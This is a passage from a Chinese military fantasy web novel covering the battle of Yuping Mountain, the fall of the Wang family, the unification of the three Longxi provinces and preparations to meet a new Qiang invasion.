玉屏山已经成了人间地狱。
六千顾家军对阵上万羌骑,在广阔的平原上展开了惨烈的厮杀。从一开始的来回凿阵到后面打成了步战,双方数以万计的将士握着长矛弯刀在血水中摸爬滚打,肉搏激战。
哪怕兵力明显处于劣势,顾家精骑也从未后退一步,两万羌骑真的一兵一卒也没能越过玉屏山。
不过代价是惨痛的,厮杀一夜,顾家军早已伤亡过半,阵型全无,幸存的顾家将士三三两两地散在各处,与羌兵混战。
“喝!”
“铛铛!”
顾剑身处重重乱军之中,奋力搏杀,战马早已力竭而亡,身边三百顾家亲卫死的只剩几十人了。他一直冲杀在最危险的地方,毫不畏死,甚至说是在求死。
因为他羞啊,愧对顾家先祖、愧对洛家将士、更愧对陇西的百姓!
一名羌骑策马而来,面目狰狞:
“乾人小儿,死吧!”
长枪斜刺,势大力沉,顾剑手执青锋剑,奋力一劈,枪杆应声而落。羌兵愕然,好锋利的剑!可还没等他反应过来,下一剑已经迎面刺来:
“嗤!”
胸甲尽碎,血肉横飞。
何为青锋?削铁如泥!
“呼,呼。”
顾剑半跪在地,拄着长剑大口大口地喘气,身上诸多刀伤枪伤撕开的小口正在不断往外溢出鲜血,模样极为凄惨。
“杀,杀了此人!”
又有百十号羌兵挺枪而来,怒目圆睁,誓要将顾剑斩杀。
“家主小心!”
“保护家主!”
几十名亲卫扑身跃上,横挡在自己身前,其中一名粗狂的汉子刚砍翻两名羌兵就被一枪捅入胸口。
“顾勇!”
顾剑牙呲欲裂,此人乃是自己的族兄,自幼带着自己一起练武骑马。这一场血战,顾勇阵斩敌骑一十三,悍勇无比,可却为了自己挡枪而死。
“给我死!”
羌兵面目狰狞,拼命转动枪杆,顾勇死死握住,不然枪尖再没入躯体,鲜血顺着嘴角不断滴落:
“家主,我顾家男儿,生于陇西长于陇西,誓死捍卫陇西的土地!”
“兄弟们,一死又有何惧!”
“跟羌贼拼了!”
“啊!”
顾勇一手抓枪,一手握刀狠狠往前一劈,刚好没入羌兵的咽喉,血箭飚射,羌兵应声而倒。可又有一杆长枪刺来,再度捅穿他的左腹。
“兄长!不要!”
“拼了!”
顾勇眼眸昏暗,还在一声声的嘶吼挥刀,用血肉之躯挡住羌人,吼声震天。
“杀!”
一杆杆长枪捅穿血肉之躯,仅剩的几十号亲卫被上百羌兵尽数吞没,接二连三的倒在血泊中,杀红了眼的羌兵压根不想停手,一枪一枪地刺在尸体上。
“死,给我死!”
“全都滚开!”
本已力竭的顾剑不知道从哪儿冒出来的力气,手持青峰长剑跃入战场,左冲右突,剑锋所到之处羌贼尽数毙命,宛如杀神附体,密密麻麻的羌贼愣是被他一人逼得后退连连。
“扑通。”
“兄,兄长。”
顾剑跪倒在血泊中,哆哆嗦嗦地抱住满是鲜血的躯体,瞳孔通红:
“对不起,对不起。”
是他,为了所谓的诺言掺和到三州之乱中,是他,带着六千顾家军赶赴玉屏山,是他,带着全族将士来到如此绝境。
顾勇满脸鲜血,用仅存的一丝丝力气抓住顾剑的手掌:
“其实,其实哥哥早就想对你说。陇西人不该自相残杀,更不该给王家这种奸贼卖命。我们,我们应该像洛家军一样,死战羌贼,护我,护我山河。
先祖曾经说过,顾家男儿,自当死国!”
“我知道,我知道。”
热泪喷涌而出,顾剑浑身都在颤抖:“顾家男儿,自当死国!”
“我,我没给顾家丢人。”
“保住,陇西。”
顾勇彻底没了呼吸,顾剑痛不欲生,怀抱尸体痛哭哀嚎,哭声响彻天地。
他怔怔抬眸四顾,多少熟悉的面庞倒在了尸堆中,自始至终,无一人撤出战场,顾家男儿从不退缩!
六千条命。
他要还洛羽、还陇西六千条命!
“哒哒哒。”
背后突然传来一阵急促的马蹄声,似有一股寒风袭来。
“顾将军小心!”
“铛!”
只听一声脆响,震得人耳膜发颤。
顾剑猛然回头,竟然是羌兵万户乃蛮台想从背后偷袭,但石敢奋不顾身的替自己挡下了这一击。
本就力竭的石敢这下更虚弱了,砰地往血泊中一栽,惨然一笑:
“没,没力了。”
“羌贼!”
顾剑持剑起身,束发青丝飘飘,眼神中的杀意积聚到了极致:
“今日我誓杀汝!”
“就凭你?”
手握板斧,高居马背的乃蛮台讥讽一笑,狼狈不堪的顾剑在他眼里就是待宰的羔羊,不堪一击。
他恨啊,恨这些杂碎拦住了己方的马蹄,现在驰援并州城已经成了虚妄之谈,羌人唯一想做的事就是将六千顾家军三千洛家军杀干净。
一个不留!
“驾!”
拉开一段距离的乃蛮台策马前冲,马蹄每一次落地都会溅起一团血水,厚重的板斧顺势挥出,强劲的力道带出一阵破风声。
“喝!”
别看顾剑踉踉跄跄,动作竟然一点不慢,脑袋一歪躲开斧头,手中长剑直奔下三路砍向马蹄。
乃蛮台心头一惊,他的目标原来是战马!好阴险!他心知已经躲无可躲,只能反手一斧砸向顾剑的额头。
“噗嗤!”
“砰!”
青锋剑锋利无比,马蹄被齐刷刷砍断,乃蛮台直接被掀飞了出去,可那一斧也刚刚好拍在了顾剑的后脑勺,虽然已经被卸力不少,但依旧是一记重击。
鲜血从顾剑口中狂喷而出,直愣愣地往地上一栽。
半躺在血泊中观战的石敢瞳孔一缩:
“顾将军,顾将军!”
“没,我没死。”
“娘的,吓死我了。”
血泊中竖起一只手掌,顾剑拄着青锋踉踉跄跄地站了起来,模样无比凄惨。
束在头顶的青丝已经飞落一旁,黑发披散,在风中微微舞动,鲜血顺着脑勺一点点滴落,整个人晃晃悠悠,神志都不清楚了。
被一斧头给拍晕了。
紧握板斧的乃蛮台狞笑一声:
“这都没死,你小子还真是命大,不过也就到此为止了!”
“到此为止?呵呵。”
顾剑摇摇晃晃地站着,青锋剑尖垂地,在血泥中划出一道蜿蜒的痕迹。他的视野模糊不清,耳中嗡嗡作响,但嘴角却扯出一抹冷笑。
乃蛮台被这笑容激怒了,死到临头竟敢嘲讽他。只见他狠狠吐出一口血沫,双手握斧大步冲来:
“找死!本将今日定要将你碎尸万段!”
斧刃破空,带起刺耳的尖啸。
顾剑却在这生死关头闭上了眼睛,耳边回荡起幼时父亲教他剑法时说的话:
“剑者,心之刃也,心若明镜,人剑合一,剑自通神!”
风声骤近。
就在斧刃即将劈开头颅的刹那,顾剑动了。他的身体如同被风吹折的芦苇般向后仰倒,斧刃擦着鼻尖掠过。与此同时,垂地的青锋突然如上挑,以一种诡异的弧度撞开斧柄,斜刺前胸。
快,没有任何花哨之处,就是快!
“嗤!”
剑锋划过皮甲的声音轻得几乎听不见,乃蛮台保持着劈砍的姿势僵在原地,斧头“当啷”一声掉在血泊里。
他不可置信地低头,看到自己胸甲上出现一道细线,随后甲胄尽碎,鲜血如泉涌出。
“这,这不可能。”
乃蛮台跪倒在地,呼吸骤然急促,庞大的身躯砸起一片血花,袭遍全身的剧痛让他彻底失去了知觉,想要去握斧却提不起半点力气。
一股冰凉已经搭在了他的咽喉处。
“将军,将军!”
“谁敢上前!”
四周有数不清的羌兵围来,却被杀神一般的顾剑给震住了,无人敢上前一步。
顾剑左手扶住乃蛮台的人头,右手持剑,当着无数羌兵的面嗤的一声划破咽喉,将整颗头颅齐齐砍下。
披肩散发的顾剑拎着血淋淋的人头,仰天嘶吼:
“青丝飞,剑影追。”
“头落方知谁是谁!”
第303章血肉筑边城
一柄长剑,一袭劲衣。
拎着人头的顾剑就这么站在尸山血海之中,石敢也踉跄着起身,与其并肩而立,还活着的将士都自发地汇聚在两位主将身边,或持刀、或握枪、或赤手。
寥寥数千残军,拼到了最后一刻。
四面八方的羌军围拢过来,一排排长枪高举,战场中莫名陷入了一股安静。
羌兵也好不到哪里去,两万精骑同样折损过半,战马消耗殆尽,就算吃掉顾家军和石敢他们也无力再驰援并州城了,本该是杀洛羽、屠陇西,结果却陷在玉屏山脚下寸步难行。
很多羌兵的瞳孔中已然多出一分敬畏,不管今日此战是胜是败,与他们交手的都堪称是顶天立地的好男儿。
包围圈从中间呼啦啦分开,仅剩的万户猛安帖木察策马行出,面色阴沉。
乃蛮台的无头身躯跪倒在血泊中,分外可怖,血腥残忍,不免让帖木察心中升起一种兔死狐悲的感觉,但更多的是愤怒:
“没想到啊,顾家竟然会与阙州军并肩作战,看来陇西内部的关系还真是复杂。”
在此前羌人得到的情报中,顾家是站在王彦之一边的,他们盘算打得很清楚,等王家与洛羽拼个你死我活再杀入战场,这样就可以将陇西有生战力一举歼灭。
介时三州境内再无可战之兵,羌兵的马蹄可以不费吹灰之力横扫三州。
可惜事与愿违,至今他们都没能看到并州城头。
“呵呵,我陇西男儿自当一致对外,可不是你们这种奸诈无信之徒!”
顾剑狞声道:
“一次次犯我边疆,不顾两国盟约,你们眼中还有丝毫信义可言吗?”
“这次可不是我们要兵犯陇西,是王家请我们来的。”
帖木察讥讽道:
“我承认,你们很能打,但你们还有一战之力吗?本将麾下可还有三千精骑!今日我就要将你们踩成肉泥!”
战场中矗立着三千羌骑,这是帖木察手里最后的力量,虽然也冲杀了几次,但阵型还算完整。三千精骑,足以彻底屠灭顾家、洛家两支兵马。
顾剑缓缓提起青锋剑,剑锋之上满是鲜血:
“你可以试试!就算我们战死沙场,我也保证你的三千精骑不可能活着离开陇西!”
帖木察脸皮一抖,并州城外的胜负尚未可知,他能不能活下去还是未知数,但现在他顾不得许多了,唯一的愿望就是将面前两支兵马杀得干干净净!
“羌贼小儿。”
石敢同样提刀,面目狰狞:
“犯我陇西者,死!”
不管是顾家军还是洛家军,都在这一刻齐声嘶吼:
“犯我陇西者,死!”
吼声震天,人人心颤。
哪有什么往日恩怨,此时此刻所有人的心中都是同样的念头:杀尽羌贼,护卫陇西!
“大不了鱼死网破!”
早已陷入疯狂的帖木察嘶吼提枪:
“踏平陇西,给我杀!”
“隆隆!”
“轰隆隆!”
吼声刚落,马蹄已响。
可不是羌骑在冲锋,而是四周大地同时开始颤动。
战场正后方与左右两翼同时有无数骑军涌出地平线,马蹄踩得泥水飞溅,骑卒人人甲胄染血,眼眶中带着血丝。
一面硕大的“洛”字军旗率先映入眼帘,亲兵营与虎豹骑紧随其后,茫茫黑甲骑兵连天一色,蔚为壮观。左边阙州卫、右边血归军,遥相呼应,将羌兵团团围住。
并州城外的战事还没有完全结束,洛羽就抽调主力骑兵紧急赶赴玉屏山,因为他知道这里的战斗会相当惨烈,全军上下都是强撑着一口气在作战。
三路夹击!
洛字军旗出现的那一刻,所有残兵的目光都变得炙热起来,萌生出一种前所未有的敬仰!
帖木察的脸色瞬间煞白。
已经鏖战一昼夜的洛羽冲锋在前,嘶吼出声:
“边关已破,陇西危难!”
“那就用我们的血肉,筑起新的边城!”
“死战!”
……
雨后的夕阳格外艳红,倾洒在玉屏山脚下,让残肢断臂的战场看起来更加可怖。
大战落幕,尸骸遍野。
从昨天早上第七营率先拒马,到顾剑率兵抵达,再到洛羽带着激战一场的阙州精骑驰援战场,玉屏山一战整整打了两天一夜,双方数万精骑前赴后继,死战至最后一刻。
随着万户猛安帖木察被洛羽一枪捅死,这一仗大战终于以陇西边军的胜利而告终。
血泊中倒着无数羌人的尸体,两万精骑奔袭并州,死伤殆尽;失去主人的战马在夕阳的余晖中孤零零的奔跑,悲戚中带着萧瑟;一名名洛家精骑在战场中穿梭,搜寻着重伤未死得同袍,若发现羌兵的活口则会在胸口补上一刀。
一座座尸堆高高耸立,双方将士的尸体重重叠叠,秋风一吹,血腥味弥漫全场。这是尸堆,也是陇西英灵们用血肉之躯筑起的长城。
第七营三千拒马悍卒,战至最后不足千人,顾家六千骑,幸存者不到两千,整整四千条命没了。两军的残兵精疲力竭地坐在地上,再也没有持刀作战的力气。
洛羽策马而来,立足阵前,不管是第七营还是顾家军,所有人的目光都投了过来。
一张张污秽而又坚毅的面庞,若是没有他们拼死阻击,今日洛羽必败,陇西必亡,三州将生灵涂炭。
洛羽朗声怒喝:
“阙州第七营,三千重甲当万骑,死战玉屏山,一步未退,战功卓著。
从今日起,第七营另立营号,扩编至五千人,石敢为新军主将。全军皆配重甲,巨盾,当天下兵锋!
新军赐名,敢当营!”
双目猩红的石敢怒吼出声:
“敢当营!”
千余残兵冲天一吼:
“全军死战,敢当天下兵锋!”
“轰!”
万千精骑拔刀而出,直指苍穹,为新军助威。
洛羽的目光移向了顾剑,四目相对,寂静无声。
要知道顾剑曾与洛羽站在对立面,顾剑还差点杀了洛羽,两方是有血仇的。可今日两军并肩作战,共同为了陇西的命运而战。
以后是敌是友?
下一刻,顾剑手执青锋剑,单膝跪地:
“罪将顾剑,请入陇西边军!从今往后,将军军令所至,莫不遵从。
此生唯有一愿,追随将军,杀尽羌贼!”
数以千计的顾家残兵全都跪下,沉声一喝:
“请入陇西边军,为洛将军效命!”
“准!”
洛羽翻身下马,解开佩刀递了出去:
“顾将军为国一战,陇西百姓定会铭记于心,今日本将赠刀,敬顾家四千亡灵!”
顾剑眼眶通红,两行热泪奔涌而出,紧紧接住苍刀:
“敬顾家,四千亡灵!”
洛羽望向全军将士,朗声怒喝:
“身为边军,自当为陇西流尽最后一滴血!边关失守又何妨,万千铁骨铮铮,岂惧羌人马蹄!
男儿铁骨,才是陇西最后一座边城!
边军在,陇西在!”
所有人都感觉到胸腔中有一股热血在翻滚,声嘶力竭:
“边军在,陇西在!”
……
景丰十一年,初秋雨后
陇西边军于玉屏山全歼两万羌骑,一战震动天下。
山河稳固!
第304章大局定
并州城外
数不清的军卒正在打扫战场,用许多平板车将城外死尸拉走,集中焚烧掩埋,空中残留的血腥味散了两天都散不去。
数万阙州精锐,外加君墨竹所带来的兵马前后夹击,王彦之怎么可能赢?
王家六万兵马全军覆没!
当然了,并不是六万人全部被杀。除了少部分王家的死忠战死沙场外,绝大部分兵马皆是望风而降,战事并没有玉屏山那么惨烈。都是陇西同胞,绝大部分人是不愿意同胞相残的,只有王彦之那种穷凶极恶之徒才会做出此等恶贯满盈之举。
大批骑军顺着城门疾驰而入,城头飘扬着的皆是洛字军旗。
街道两侧有无数百姓出门观望,目露好奇,还有人心中带着些许憧憬。
并州虽然是陇西最为富饶的一州,可这些年来王家主政,并未让百姓过上好日子,钱财粮食皆入王家之手,还有许多王家族人到处为非作歹,迫害百姓,早就引得人们不满。此次三州大战,王家为了征召军卒更是到处抓捕壮丁,惹得民间怨声载道。
而洛羽在阙州宽厚待民的名声早就传遍三州,谁不愿意跟着一个贤主呢?
此战之后,三州全都姓洛了。
城外一座土坡上,君世雍与君墨竹两人在等洛羽归来。玉屏山一战结束后大军并未立刻返回,而是就近休整了一天才赶赴并州城,数万精骑实在是太累了,累到连骑马都成了奢望。
时隔数月,父子俩死里逃生,再度重逢,可君家早已不在,陇西也发生了天翻地覆的变化。
“驾!”
“哒哒哒!”
一连串的黑点从天边浮现,引得两人注目。
君世雍老眼微凝,苦笑道:
“墨竹,还是你的眼光好啊,早早就知道此人绝非池中物。”
“有手段,有能力,有野心,更有纯良之心,胸怀百姓,这样的人主去哪里找?”
君墨竹轻声道:
“父亲,陇西三州乱了这么久,面对羌兵的进犯屡战屡败,难道陇西百姓的苦日子还没过够吗?
三州该一统了,我坚信以后的陇西会无比强盛!”
“你是对的。”
老人抬眸远望,那道坚毅的身影正越来越近:
“不用你说,光看那些阙州将士的神情就知道,他会成为一代雄主。陇西乱了这么久,百姓受了太多苦难。
是该有人站出来一统三州了。”
“吁吁!”
一排战马齐齐停下,洛羽勒住缰绳抱拳行礼:
“君大人,身体可还安好?”
“洛将军,老臣谢过洛将军!”
君世雍捋正衣袍,跪倒在地,恭恭敬敬地磕了一个头。
“君大人,您这是做什么!”
洛羽面色一变,滚鞍下马去扶:
“老大人,快快请起,您是陇西的老人,晚辈当不得如此大礼!”
“墨竹的命是您救的,老夫的命也是您救的,若无洛将军死命相救,我父子二人早已天人永隔!这一跪是应该的。”
君世雍神情凝重:
“墨竹如今已是您麾下之臣,老夫也愿意为洛将军效命,若是将军不弃,老臣愿为麾下一县令,也可为三州百姓做些实事!”
“君大人仁善之名三州皆知,能得老大人襄助实乃三州之幸。”
洛羽大喜过望,原先三州家主之中唯有君世雍的才名最广、性格最为温和,将定州治理得井井有条,比李家主政的阙州好上太多太多。自己手下武将众多,缺的就是这种能治理政务的得力文官!
众人寒暄一番,只见顾剑从人群中走出,双膝跪地,重重磕头:
“君大人,君兄,顾剑犯下大错,对不起二位,对不起君家!”
一众大将面露苦涩,刚刚君世雍才跪完洛羽,现在顾剑又跪君家,这恩怨重重纠葛,真是乱啊。
“顾家军,快快请起。”
君世雍死死拽住顾剑的肩膀,费了好大的劲也无法拉动顾剑分毫:
“是我顾剑瞎了眼,跟着王家作恶,害死了君家满门,还使数千定州将士殒命沙场,我顾剑该死!
今日洛将军在此,诸位共同作证。
顾剑犯下大错,要杀要剐,听凭君大人吩咐,但恳请大人罚我一人,莫要为难顾家族人。”
“顾将军,我君世雍岂是不明是非之人?”
老人义正言辞,铿锵有力地说道:
“你也是被王家蒙蔽的无辜之人,血色婚礼皆是王家一手主导,袭击定襄城也是王家提前布下的阴谋,与你何干?
玉屏山一战,顾将军挽江山于危难,护陇西三州安定,乃百姓之福,老夫敬佩不已,陇西有将军这样的大才乃百姓之幸!
从今往后,我们都是洛将军麾下之臣,绝无半点仇怨!
若是顾将军再提此事,那就是不愿与我君世雍当同僚了。”
“晚辈岂敢!”
顾剑眼眶泛红,抱拳行礼:
“谢君大人宽宏大量!”
“顾将军请起!”
所有恩怨在这一刻都一笔勾销,众人脸上都露出一抹欣慰的笑容,终于不用再钩心斗角了。
“恩怨解开便好,哈哈。”
洛羽朗笑一声,心情分外舒畅,手掌轻轻一招:
“来,为大家介绍一下新人。”
身披甲胄的年轻汉子迈步而出,沉声喝道:
“末将常遇山,见过诸位将军!”
众人都饶有兴趣地打量起来,若不是他潜入王家做暗桩,君老大人此刻就是一具冰冷的死尸了。玄岐军校第一届武状元大家都知道,新任敢当营主将石敢,可第二届武状元的身份一直无人知晓,原来早就被洛羽和萧少游派做他用。
“咱两总算是能光明正大地见面了,哈哈。”
与其交手两次的吕青云放声大笑:
“一场戏演得不错嘛。”
常遇山咧嘴一笑,面带歉意:“抱歉,还刺了吕将军一枪。”
“哈哈哈,无妨,不过你小子枪法是真不赖。”
两人第二次交手中吕青云挨了一枪,自然是蒙骗王星的苦肉计,但常遇山的枪术确实不差,就算真放开手脚打,吕青云也无必胜的把握。
蒙虎瞪着眼,十分好奇:
“你以前是哪一营的,怎么没见过你?”
因为玄岐军校里的人大部分都是从各军抽调过去的基层军官,按理来说总该有人认识才对,可常遇山的面孔大家格外陌生。
“呵呵,严格意义上来说他在进入玄岐军校之前并未入军。”
洛羽呵呵笑道:
“遇山是并州人,父母双亡后逃亡到阙州,而后就在苍岐城住了下来,是沈姑娘发现了他,觉得他聪明伶俐,身手又好,然后就召入军中,负责苍岐城内的治安。后来直接进入玄岐军校,一举成为第二届武状元。”
众人面色微惊,没有带兵打过仗竟然能成为武状元,看来此人在领兵打仗方面有天赋过人之处。
萧少游嘴角上扬:
“当初选人潜入并州军伍,常遇山可是我第一个看中的人,果然有出其不意的效果。”
“哈哈哈!”
众人放声大笑,大战的阴霾总算消散了不少。
“好了,接下来该收拾并州残局了。”
洛羽目光冰冷:
“王彦之呢?”
“羁押在牢房里。”
“走吧,去见见这个畜生!”
第305章黑甲玄旗满陇西
昏暗幽森的牢房中,王彦之瘫倒在腐烂的草堆里,面如死灰,还有几只蟑螂跳蚤在他身上爬来爬去。他麻木地任由这些虫豸在身上肆虐,仿佛已经感受不到任何痛痒。
缕缕阳光顺着头顶的窗栏照射进来,倒映在他的脸上,污秽不堪,头发上满是泥垢,眼窝凹陷,面无血色,哪还能看出半点陇西四公子的风采?
死气沉沉,绝望至极。
就在三个月前,他离陇西道节度使就只有一步之遥,可现在已经成了阶下囚,任人宰割。
“嘎吱。”
伴随着清脆的脚步声,木制的牢门缓缓推开,三道人影迈步入内。
一玄一白一墨。
王彦之怔怔的转过头来,并未表现出太多愤怒,只是自嘲一笑:
“你们终于来了,是来耀武扬威?”
“不。”
洛羽微微点头:
“只是有些话想问问你。”
“问吧。”
王彦之似乎早已看开了,脑袋往墙上一靠:“知无不答。”
“数月之前,我与墨竹进入并州境内遭遇了一场截杀,那些杀手是你安排的还是上官熙?”
“当然是上官熙了,你不是早查出了证据吗?”
王彦之自嘲一笑:
“并州乃是我王家的地盘,你们遭遇截杀,我当然是第一个被怀疑的对象,我就算再蠢也做不出这种事。
但我知道,上官熙一定会这么做,呵呵。”
“所以你早就知道杀手是上官熙派出来的,并且任由他们来刺杀我们?”
“我当然知道,上官熙的一举一动都在我眼皮底下。”
王彦之的嘴角勾起一抹阴笑的笑容:
“刺杀若是成功,我就把此事捅出来,势必引得两州震动,君家洛家不可能任由他活着离开陇西,我王家坐收渔翁之利便好。
他若是没刺杀成功,那我就见机行事,骗取你们的信任。
这个傻子,第一次截杀失败也就罢了,第二次还派人相救,白白被你们抓住把柄,蠢啊。不过也好,刚好成为我的棋子,呵呵。”
“好手段。”
君墨竹面无表情的问道:
“其实从联姻一开始,你就想好了怎么灭掉君家吧?血色婚礼是你早就计划好的。”
“没错。”
王彦之毫不否认:
“君家嫡系族人皆至,洛羽也会前来,并州城还是我王家的地盘,如此天赐良机我岂会放过?
君墨竹,你也不能完全怪我,要怪就怪你的兄长,上赶着要促成这桩婚事。”
可怜君天啸,到死都不明白发生了什么事,更不知道自己促成的这桩婚事会把整个君家拖进地狱。
“卑鄙无耻。”
君墨竹面色冰寒:“以自己亲妹妹为诱饵,你还有没有半点人性!”
在大军破城的那一刻,王家妹妹王青青就在府中上吊自尽了。此女子同样是可怜人,自始至终都是家族的棋子,没有半点自由可言。
“人性?人性能当饭吃吗!”
王彦之挣扎着从草堆中站了起来:
“我们都清楚,陇西三州早就该一统了,只不过三家都无力一统陇西。
我王家立足最久,并州财力雄厚,乃最强的一州,我又是陇西四公子之首,凭什么不能当这个节度使!
什么良知,什么人性,这些东西统统都要扔掉!”
“权力,权力才是这个世界上最令人渴望的东西!”
“你们懂个屁!”
王彦之越说越起劲,甚至还爆了几句粗口,整个人陷入癫狂。
三人就这么看着他,此人已经被野心和权力冲昏了头脑,不可理喻。
“你,是你坏了我的好事!”
王彦之恶狠狠地盯着洛羽:
“是我错了,当初就不应该让你逃出并州城,早知今日我就该不惜一切代价先杀了你!”
王彦之恨啊,血色婚礼他筹谋了很久,环环相扣,步步缜密,唯一没料到的就是洛羽带着君墨竹活着逃走了,接下来就是阙州起兵,横扫陇西。
洛家军的战力让所有人惊叹,确实打遍陇西无敌手。
“是你自作孽,不可活!”
洛羽冷声道:
“陇西内斗说到底是咱们自己的事,可你却为了胜利放开边防,让两万羌骑入境。
你有没有想过会有多少百姓死于羌贼的屠刀之下!你有没有想过万一陇西失陷,会有多少人被羌贼奴役!让你这样的人当上陇西节度使,陇西百姓还有未来吗!
王家终将被钉在耻辱柱上,遗臭万年!”
“区区蝼蚁之命罢了,死多少人与我何干!天下大乱,百姓如刍狗!”
王彦之咬牙切齿:
“史书是由胜利者写的,成王败寇,只要赢,便无人敢骂我王家半个字!”
“疯子。”
洛羽摇了摇头:
“像你这样的疯子,还是早点下地狱吧。”
“给你最后一次机会,有遗言吗?”
王彦之的身体终于颤抖了几分,沉默许久问了一句话:
“你们打算怎么处置王家的族人?”
洛羽静静地看着他:
“逃离并州城的那一天我就发过誓,城破之日,屠尽你王家满门。”
“砰!”
三人先后离去,待牢房大门重重关上的那一刻,王彦之的人生也就此结束。
……
牢房之外便是艳阳高照,几天前的大雨真的扫清了天地间的阴霾,徐徐秋风拍打在脸上格外清爽。
“好天气啊。”
君墨竹轻轻伸了个懒腰:
“以后的陇西,会不一样。”
三人会心一笑,信心十足。
岳伍疾步从旁边走来,沉声道:
“将军,前线战报,林戈将军已经夺回了寒山关。”
“很好。”
洛羽笑了一声,林戈命大,没死在寒山关。这家伙伤还没好就在定州集结兵力,反攻了寒山关。其实两万羌骑入境之后寒山关几乎是一座空城,轻而易举就被拿下了。
“寒山关虽然夺回来了,可战事还未结束啊。”
萧少游神情凝重:
“韩朔将军来信,七皇子耶律昭夜始终扎营关外,西羌国内也一直在往前线增兵。”
君墨竹沉声道:
“三州大乱,不管谁赢谁输,陇西边军的兵力必会大打折扣,西羌不可能放过如此机会的,更何况还有杀子之仇。”
“看来还有一场大战等着我们打啊。”
洛羽脸色肃穆:
“让大军先休整一下,召集文武诸臣,三天后,将军府议事!”
……
景丰十一年秋
三州决战落下帷幕,洛家军入主并州城。
王家灭族、随其作乱者同样满门抄斩,并州城外杀得人头滚滚,不服洛家号令者皆杀!
至此,三州一统。
黑甲玄旗满陇西!
第306章三军尽出
大乾国都,天启城
弈心殿
“咳咳。”
殿内回荡着轻微的咳嗽声,六皇子景淮依旧和以前一样,跑腿而坐,自己与自己下棋。
棋盘上满满当当都是黑白两子,纵横捭阖,攻守相交,只见他时而皱眉沉思,时而轻笑不语,自得其乐。
没一会儿老太监冯德全便走了进来,恭恭敬敬地捧着一道奏折,轻声道:
“殿下,陇西的军报送来了。”
“噢?让我猜猜。”
景淮饶有兴趣地抬起头:
“洛羽赢了,三州一统?”
“殿下英明。”
老太监大概描述了战事经过:
“王家派遣奸细打开寒山关,两万羌骑入境,直插并州城,意欲和王家联手灭掉阙州军。但事与愿违,羌兵被拦在了战场之外。
玉屏山一战,全歼两万羌骑;并州城一战,王家五六万兵马全军覆没,洛羽大胜。
现在陇西三州尽归洛羽。”
“我看看。”
景淮拆开军报,细细端详,嘴角的笑容不断扩大:
“好,好啊,本殿看人没错吧?”
“老奴佩服至极。”
冯德全苦笑一声:
“满朝大臣都没想到洛羽能以一州之力横扫两州,更没想到短短三个月便会结束战事,洛家军之强令人匪夷所思。
只有殿下您,早早就看出洛羽必胜,还助其军资军粮。”
“哈哈哈,雪中送炭的效果才好嘛。”
景淮轻笑道:
“洛羽乃天降大才,陇西有此人坐镇是我大乾的幸事,至于王家,呵呵,狼子野心罢了,陇西节度使他还不够格。”
“照殿下这么说,陛下定会加封洛羽为陇西节度使了?”
“还说不准。”
景淮随手放下军报:
“西羌可还没有退兵,杀子之仇岂能不报?以洛羽的性子定会率军出战,击退羌人。
如果赢,他自然是陇西道节度使,三州上下对他唯命是从,朝廷不给也得给;但如果这一仗打输了,甚至洛羽战死沙场,那就什么都没了。”
“应该能赢吧。”
冯德全犹犹豫豫地说道:
“洛将军对战羌人可从未败过,想必此次也不例外。”
说来也是奇怪,以前陇西战事大乾屡战屡败,可自从洛羽之后前面便再未吃过大败。
“还真不一定啊。”
景淮长叹一口气,缓步走到地图前扫过西羌疆域:
“听说近年来草原出了一位天纵之才,不知道这次会不会露面。
我也想见识一下,此人是否有传闻中那样厉害。”
……
并州城外矗立着无数军帐,洛字军旗漫天飞舞,宛如一头巨兽匍匐在地。
洛家军横扫三州之后并未返回阙州,大军一直在这里休整,毕竟还需要清扫境内的王家余孽,以防生变。
大军帅帐,文武齐聚。
萧少游、蒙虎、吕青云等一排武将铁甲铮铮,君世雍,梅雪崖、陆怀舟等诸多文官长袍翩翩。
别以为只有武将在前线领兵打仗,一众文官照样忙得脚不离地:
一面要统计各城各县的人口、田地、税赋,一面还要抓紧时间恢复各地吏治。
定州、并州以前也是由大大小小的城主掌控,如今一下子恢复吏治,诸事繁杂。
“安西将军到!”
洛羽从帐外大步走入,众人齐齐弯腰行礼:
“参见将军!”
众人目光炙热,虽说朝廷还没有任何旨意下来,但不管有没有加封节度使,洛羽都是名副其实的陇西之主!
“我就不寒暄了,直奔主题。”
洛羽环视全场,神情肃穆:
“前线军报,林戈已经率兵收复寒山关,但西羌兵马正在源源不断地汇聚在云阳关外。
据游弩手探报,至少已有五万兵马集结,西羌号称出动了十万大军。”
“十万!”
众人面色一惊,这么多年来西羌犯境也就一两万兵马,上次九皇子耶律乌戈领兵五万已经很多了,这次竟然十万!
“号称十万,或有些许夸张,但敌军兵力一定十分雄厚。”
萧少游满脸凝重:
“若是边关被破,必将会生灵涂炭!”
“那就与其一战!”蒙虎握紧拳头,怒目圆睁:
“此次趁我内乱,犯我边关的账还没找他们算呢。”
“我意已决。”
洛羽朗声喝道:
“集三州之力,迎战羌贼!此次我们要拒敌于国门之外!绝不让羌贼入境一步!”
“诺!”
“三州初定,诸事繁杂,后方若是不宁,前线征战必败无疑。”
洛羽开口道:
“所以得先指派官吏,主政三州,梅雪崖依旧是阙州刺史、君大人暂代定州刺史、陆怀舟暂代并州刺史。
三位各司……”
“将军,老臣斗胆。”
洛羽的话还没说完,君世雍突然站了出来,躬身行礼:
“微臣想主政并州,至于定州,就由陆怀舟陆大人管吧。”
“噢?为什么?”
不仅是洛羽,在场众人都感到好奇,以前君世雍就是定州持节令,对定州军政十分熟悉,好端端为何要去并州?
君世雍苦涩道:
“人老了,在一个地方待久了总会心生懈怠,老臣想趁着身子骨还健壮,换个地方待着。
正好陆大人最近数月一直在管定州政务,各县县令、知府已经熟悉,总不能让人家在并州从头开始吧?
还望将军允准!”
洛羽眼中闪过一抹精光,微微点头:
“那就依老大人之言!”
“即日起,陇西三州全力应对关外战事,三位大人立刻筹措军粮军资运往前线,不得懈怠。”
洛羽沉声道:
“君沉老将军驻定州,组建定州卫,配五千骑兵,常遇山调至定州卫担任副将。凌桐驻并州,组建并州卫,配五千骑兵。
两卫留守境内,一面练兵备战,一面清剿境内山贼、土匪、王家余孽。
其余各军即刻起程,赶赴云阳关参战!”
“轰!”
众人齐声应喝:
“谨遵将军之命!”
文武大员们鱼贯而出,人人步履匆匆,接下来有的忙了。
萧少游却留了一步:
“君老大人故意要去并州任职,有深意啊。”
“我明白。”
洛羽唏嘘道:
“君家主政定州多年,虽然家族已亡,但多少有些根基。
陇西今非昔比了,以后再也没有什么君家王家李家,只有洛家。
老大人离开定州,这是为了避嫌啊。”
“老大人心胸坦荡。”
萧少游笑了一声:“佩服。”
